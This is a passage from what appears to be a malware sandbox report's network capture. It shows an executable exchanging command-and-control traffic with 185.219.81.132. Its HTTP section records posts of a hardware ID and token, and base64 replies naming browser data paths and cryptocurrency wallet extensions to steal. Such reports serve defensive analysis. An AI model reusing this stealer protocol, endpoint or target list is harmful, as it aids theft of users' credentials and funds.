Dec 20, 2024 22:52:43.685528994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685579062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685678005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685726881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:44.523381948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:44.524732113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:44.592566013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:44.712220907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:44.985439062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:44.985552073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:44.986510038 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:45.106146097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:46.804250956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:46.804352045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:51.809614897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:51.809727907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:54.040987015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:53:01.052011967 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:01.052048922 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:01.052109957 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:01.052648067 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:01.052666903 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.289360046 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.289486885 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.291310072 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.291331053 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.291603088 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.293458939 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.293518066 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.293525934 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.293627977 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.339333057 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.958420992 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.958540916 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:03.958604097 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.963852882 CET	49862	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:03.963876963 CET	443	49862	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:29.350523949 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:29.350569010 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:29.350661993 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:29.351387978 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:29.351397038 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:31.570727110 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:31.570872068 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:31.573301077 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:31.573307991 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:31.573669910 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:31.576015949 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:31.576087952 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:31.576096058 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:31.576281071 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:31.623336077 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:32.123214960 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:32.123331070 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:32.123398066 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:32.125974894 CET	49927	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:53:32.125999928 CET	443	49927	20.198.119.84	192.168.2.6
Dec 20, 2024 22:53:33.232634068 CET	49701	443	192.168.2.6	20.190.181.3
Dec 20, 2024 22:53:33.353512049 CET	443	49701	20.190.181.3	192.168.2.6
Dec 20, 2024 22:53:33.353568077 CET	49701	443	192.168.2.6	20.190.181.3
Dec 20, 2024 22:53:38.966757059 CET	49705	443	192.168.2.6	20.190.181.3
Dec 20, 2024 22:53:39.115564108 CET	443	49705	20.190.181.3	192.168.2.6
Dec 20, 2024 22:53:39.115648985 CET	49705	443	192.168.2.6	20.190.181.3
Dec 20, 2024 22:54:03.098299026 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:03.098368883 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:03.098462105 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:03.099020004 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:03.099033117 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.322597027 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.322705984 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.324475050 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.324481964 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.325331926 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.327194929 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.327276945 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.327282906 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.327397108 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.371335030 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.990278006 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.990514994 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.990890980 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.990890980 CET	50006	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:54:05.990931988 CET	443	50006	20.198.119.84	192.168.2.6
Dec 20, 2024 22:54:05.990948915 CET	50006	443	192.168.2.6	20.198.119.84

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 22:52:07.449213028 CET	53	64326	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:07.456526041 CET	53	58974	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:07.503106117 CET	50684	53	192.168.2.6	1.1.1.1
Dec 20, 2024 22:52:07.503328085 CET	50401	53	192.168.2.6	1.1.1.1
Dec 20, 2024 22:52:07.640007973 CET	53	50684	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:07.640151024 CET	53	50401	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:10.521927118 CET	53	55892	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:11.527666092 CET	53	51855	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:13.396512985 CET	53	53680	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:14.624933004 CET	49921	53	192.168.2.6	1.1.1.1
Dec 20, 2024 22:52:14.625458956 CET	61009	53	192.168.2.6	1.1.1.1
Dec 20, 2024 22:52:14.759732962 CET	53	64804	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:14.761718988 CET	53	49921	1.1.1.1	192.168.2.6
Dec 20, 2024 22:52:14.762829065 CET	53	61009	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 22:52:07.503106117 CET	192.168.2.6	1.1.1.1	0xffd1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 22:52:07.503328085 CET	192.168.2.6	1.1.1.1	0x12e2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 22:52:14.624933004 CET	192.168.2.6	1.1.1.1	0x45d0	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 22:52:14.625458956 CET	192.168.2.6	1.1.1.1	0x7471	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 22:52:07.640007973 CET	1.1.1.1	192.168.2.6	0xffd1	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 22:52:07.640151024 CET	1.1.1.1	192.168.2.6	0x12e2	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 22:52:14.761718988 CET	1.1.1.1	192.168.2.6	0x45d0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 22:52:14.761718988 CET	1.1.1.1	192.168.2.6	0x45d0	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 22:52:14.762829065 CET	1.1.1.1	192.168.2.6	0x7471	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

185.219.81.132

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	185.219.81.132	80	2836	C:\Users\user\Desktop\2BI8rJKpBa.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 22:51:59.627706051 CET	89	OUT	GET / HTTP/1.1 Host: 185.219.81.132 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 22:52:00.859121084 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 22:52:00.863002062 CET	418	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAE Host: 185.219.81.132 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 36 39 38 31 34 43 37 43 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="hwid"3269814C7CF33701991499------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="build"LogsDiller------EBAKKFHJDBKKEBFHDAAE--
Dec 20, 2024 22:52:01.421870947 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 52 6b 4e 57 49 34 4e 57 4d 34 4e 44 41 31 5a 44 45 30 4d 54 59 78 5a 6a 67 7a 4e 54 67 34 4f 57 49 7a 4d 57 46 6b 59 7a 49 7a 4d 47 56 6b 5a 44 4e 6a 59 7a 45 31 4e 7a 4d 33 4d 44 5a 6d 59 6d 5a 69 59 6d 4a 6d 4d 57 45 35 4d 57 5a 6c 5a 57 56 6c 5a 6a 63 34 4e 7a 4d 30 4d 7a 4e 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDRkNWI4NWM4NDA1ZDE0MTYxZjgzNTg4OWIzMWFkYzIzMGVkZDNjYzE1NzM3MDZmYmZiYmJmMWE5MWZlZWVlZjc4NzM0MzNmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 20, 2024 22:52:01.423309088 CET	469	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKJKFHCAEGDHIDGDHDA Host: 185.219.81.132 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="message"browsers------BAKJKFHCAEGDHIDGDHDA--
Dec 20, 2024 22:52:01.835120916 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 20, 2024 22:52:01.835165977 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 20, 2024 22:52:01.836725950 CET	468	OUT	POST /c3d039fb36c40339.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEH Host: 185.219.81.132 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"plugins------DGDAEHCBGIIJJJJKKKEH--
Dec 20, 2024 22:52:02.229803085 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 21:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 20, 2024 22:52:02.229825020 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 20, 2024 22:52:02.229841948 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 20, 2024 22:52:02.230146885 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
